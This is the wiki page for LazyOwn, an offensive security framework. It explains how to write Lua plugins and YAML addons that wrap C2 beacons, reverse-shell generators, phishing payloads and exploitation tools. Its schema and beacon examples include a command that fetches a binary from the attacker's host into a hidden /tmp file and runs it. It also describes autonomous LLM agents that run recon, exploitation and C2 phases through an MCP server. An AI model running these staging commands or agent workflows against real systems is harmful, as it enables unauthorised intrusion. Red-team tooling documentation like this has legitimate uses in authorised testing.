Skip to content

Plugins Marketplace

LazyOwn Agent edited this page Oct 4, 2026 · 2 revisions

Plugins and Marketplace

Plugins

Lua plugin layer for LazyOwn. Each .lua file registers one or more commands with the framework via register_command. The Lua runtime is provided by lupa (Python binding to LuaJIT). Plugins are auto-discovered at startup alongside lazyaddons/.

When to write a plugin vs an addon

Write a Lua plugin when the logic is a few lines of shell glue or string manipulation with no external dependencies, no Git clone, and no build step.

Write a YAML addon (lazyaddons/) when the tool needs to be cloned from GitHub, compiled, or has non-trivial install steps.

Structure of a plugin file

Lua code (plugins/<name>.lua)

function my_command()
    local target = app.params["rhost"]
    if not target then
        return "Error: rhost is not set."
    end
    local result = io.popen("ping -c 1 " .. target):read("*a")
    return result
end

register_command("my_command", my_command)

Rules:

  • Validate all parameters before use. Return an error string for missing params.
  • Never crash the framework. Wrap risky calls in pcall.
  • Always return a string. The CLI prints the return value directly.
  • Use app.params["key"] to read payload.json values.

YAML metadata (plugins/<name>.yaml)

Every plugin needs a YAML file for auto-discovery, help text, and completion:

name: my_command
description: One-line description shown by help.
author: Your Name
version: "1.0"
enabled: true
tags:
  - recon
  - network
params:
  - name: rhost
    description: Target IP address
    required: true
permissions:
  - needs_network
requires_root: false
dependencies: []
outputs:
  - console_output
notes: Optional additional usage notes.

Available plugins

Plugin Description
generate_c_reverse_shell Generates a C source reverse shell patched with lhost and lport.
generate_cleanup_commands Produces cleanup commands to remove engagement artefacts from a Linux target.
generate_html_payload Generates an HTML file with an embedded payload for phishing scenarios.
generate_lateral_command Suggests lateral movement commands based on discovered credentials and OS.
generate_linux_asm_reverse_shell Generates an x86-64 Linux assembly reverse shell stub.

app API (Lua global)

The Lua runtime exposes a single global app with these properties:

Property Type Description
app.params table Read/write access to payload.json config
app.params["rhost"] string Current target IP/hostname
app.params["lhost"] string Local attacker IP
app.params["lport"] number Local port
app.params["domain"] string Target domain
app.params["start_user"] string Credential username
app.params["start_pass"] string Credential password

All keys from payload.json are available via app.params["<key>"].

Running a plugin

(LazyOwn) > my_command
(LazyOwn) > generate_c_reverse_shell

List all plugins:

(LazyOwn) > list_plugins

YAML permissions reference

Permission Meaning
needs_file_read Plugin reads files from the filesystem
needs_file_write Plugin writes files to the filesystem
needs_network Plugin makes network connections
needs_exec Plugin spawns subprocesses

Troubleshooting

Plugin not found — verify register_command("name", fn) is called at the bottom of the Lua file and that the YAML enabled field is true.

Lua syntax error — run lua plugins/name.lua to check syntax before loading. The lupa runtime logs load-time errors to sessions/access.log.

Parameter missing — use assign <key> <value> from the CLI to set the required payload.json key.

Tiers and ratings

Every plugin has a tier: official (maintained by the core team), community (default), or experimental (unvetted). Tiers resolve from plugins/tiers.yaml first, then an optional tier: field in the plugin's own YAML. Filter the marketplace with marketplace list --tier official and see the tier in marketplace info <name>.

Rate plugins operator-locally (stored in sessions/plugin_ratings.json, never committed):

(LazyOwn) > marketplace rate amsi_bypass 5
(LazyOwn) > marketplace ratings

LazyAddons

Declarative tool integration layer for LazyOwn. Each YAML file in this directory registers an external tool as a first-class CLI command, a pwntomate job, and an MCP-accessible tool — without touching any Python source.

There are currently 124 addons covering C2 frameworks, shellcode loaders, exploitation tools, scanners, AI agents, and post-exploitation utilities.

How it works

At startup, lazyown.py scans lazyaddons/*.yaml and auto-generates a do_<name> command for each enabled addon. The command:

  1. Clones the repo from repo_url to install_path if not present.
  2. Runs install_command if the install path is a fresh clone.
  3. Substitutes {param} tokens with values from payload.json and CLI args.
  4. Executes execute_command inside install_path.
  5. If lazycommand is defined, prints it as the command to run on the target.

YAML schema

Required fields

name: shortname              # CLI verb: do_shortname, also the tab-complete entry
description: |               # Shown by help <name>; multi-line allowed
  What the tool does.
enabled: true                # false to skip at startup without deleting the file
tool:
  name: Display Name
  repo_url: https://github.com/user/repo.git
  install_path: external/.exploit/toolname
  execute_command: ./tool --option {param}
category: "10. Command & Control"   # Must match an existing CLI category

Optional fields

author: Author Name
version: "1.0"
os: linux                    # MITRE platform the addon targets (see table below)
trigger:                     # nmap service names that auto-suggest this addon
  - microsoft-ds
  - ldap
params:
  - name: lhost
    type: string
    required: true
    description: Attacker IP passed to the tool.
  - name: lport
    type: string
    required: false
    description: Listener port.
tool:
  install_command: make        # Run once after cloning; skip if empty
  download_file: /tmp/.svc     # Path on target where the payload lands
  lazycommand: |               # Command to run on the target
    curl -sk "http://{lhost}:{lport}/payload" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

os field — MITRE ATT&CK platform

Declares the victim platform the addon targets. Consumed by do_explore, do_recommend_next, and do_suggest_next to filter out addons that cannot run against the active engagement. Accepted values:

Value Meaning
any Operator-side / cross-platform (default) — never filtered out
linux Linux victims (ELF, kernel exploits, native loaders)
windows Windows victims (PE/DLL, BOFs, PowerShell payloads)
macos macOS victims
network Network appliances / protocol-level attacks
containers Docker / Kubernetes targets
saas SaaS abuse (Office 365, GitHub, etc.)
iaas Cloud control planes (AWS, Azure, GCP)

Unknown values fall back to any with a warning at load time.

trigger field — nmap service auto-suggest

List of nmap service names (e.g. microsoft-ds, http, ldap) that should cause the exploration engine to surface this addon when those services appear in a sessions/scan_*.nmap.xml. Special values:

  • [all] — match every discovered service (broad scanners).
  • [] or omitted — addon is never auto-suggested by service discovery (manual / strategic tools, AI agents, frameworks).

The matcher is case-insensitive. Triggers do not fabricate evidence: only declare services the addon genuinely operates against.

Parameter substitution tokens

Token Value source
{lhost} payload.json["lhost"]
{lport} payload.json["lport"]
{rhost} payload.json["rhost"]
{rport} payload.json["rport"]
{domain} payload.json["domain"]
{c2_port} payload.json["c2_port"]
{<key>} Any key present in payload.json

Install path convention

All addon repos clone under external/.exploit/<name>. This keeps vendored code out of the project root and under a consistent path that .gitignore excludes.

Beacon addons

The beacon family follows a specific build-and-stage pattern:

tool:
  install_command: make
  execute_command: >
    git restore . ; git pull ; make &&
    cp binary ../../../sessions/binary &&
    echo "staged at sessions/binary"
  lazycommand: >
    curl -sk "http://{lhost}:{lport}/binary" -o /tmp/.svc &&
    chmod +x /tmp/.svc && /tmp/.svc &

The git restore . ; git pull before make ensures a fresh build. The binary stages to sessions/ for delivery through the C2 file endpoint.

Current beacon addons:

  • beacon.yaml — Windows C beacon with Early Bird APC injection and BOF support
  • blacksandbeacon.yaml — Linux C beacon with ELF dlopen BOF support (unique to LazyOwn)
  • blacksandbeacon_bof.yaml — Linux BOF loader companion

OpenCode autonomous agent addons

The opencode_* family launches the opencode CLI non-interactively (opencode run --auto) with the local ollama/qwen3.8:27b-c16k model to drive the LazyOwn MCP server autonomously. Each addon is a phase-focused agent; the operator task is appended to the agent prompt as CLI arguments.

(LazyOwn) > opencode_agent "recon 10.10.10.5 and report findings"
(LazyOwn) > opencode_recon
(LazyOwn) > opencode_exploit "target the web service on 8080"
(LazyOwn) > opencode_c2 "stage the beacon and verify callback"
(LazyOwn) > opencode_report

Infrastructure required (already configured in this repo):

  • opencode.json (project root) — registers the lazyown MCP server for opencode. minios is disabled project-wide so autonomous runs are not slowed by its timeout.

  • skills/lazyown_mcp_opencode.py — curated 15-tool MCP bridge with short names (sitrep, run, facts, ...) proxying to the full 148-tool server. Local models mishandle the long lazyown_lazyown_* names and large catalogs.

  • qwen3.8:27b-c16k — ollama variant of qwen3.8:27b with num_ctx 16384. The stock 4096-token context truncates the opencode system prompt and drops the MCP tools from the model's view. Create it with a Modelfile:

    FROM qwen3.8:27b
    PARAMETER num_ctx 16384

    then ollama create qwen3.8:27b-c16k -f Modelfile.

The local 27B model runs mostly on CPU: expect minutes per step, and warm the model with a first call before long autonomous tasks.

Category reference

01. Recon                 07. Pivoting
02. Scanning              08. Credentials
03. Enumeration           09. Persistence
04. Post-Exploitation     10. Command & Control
05. Exploitation          11. Reporting
06. Privilege Escalation  12. Miscellaneous

Running an addon

(LazyOwn) > blacksandbeacon
(LazyOwn) > beacon
(LazyOwn) > toposwarm

List all registered addons:

(LazyOwn) > list_addons

Reload addons without restarting the shell:

(LazyOwn) > reload_addons

Creating an addon from a GitHub URL

(LazyOwn) > lazyaddon_creator https://github.com/user/tool

Fetches repo metadata, infers install and execute commands, and writes the YAML to lazyaddons/.

Troubleshooting

Clone fails — check network access. The URL must end with .git.

Install command fails — run cd external/.exploit/<name> && make manually. Common causes: missing system packages (gcc, go, rust), wrong make target.

Parameter not substituted — verify the key exists in payload.json. Use assign <key> <value> from the CLI to set it.

Command not found after adding YAML — run reload_addons or restart the shell.

GUI addons and the Qt path

The gui and gui2 addons boot the PySide6 operator console from a separate Qt virtualenv. Set LAZYOWN_QT_SITE_PACKAGES to that environment's site-packages directory so the addon imports PySide6 without duplicating the Qt binaries inside env/:

export LAZYOWN_QT_SITE_PACKAGES=/path/to/qt-venv/lib/python3.13/site-packages

When the variable is unset the addon runs python3 -m lazygui with the current environment unchanged, so it still works when PySide6 is installed in the active environment.

Start

Wiki

Agent Docs

Recipes

Clone this wiki locally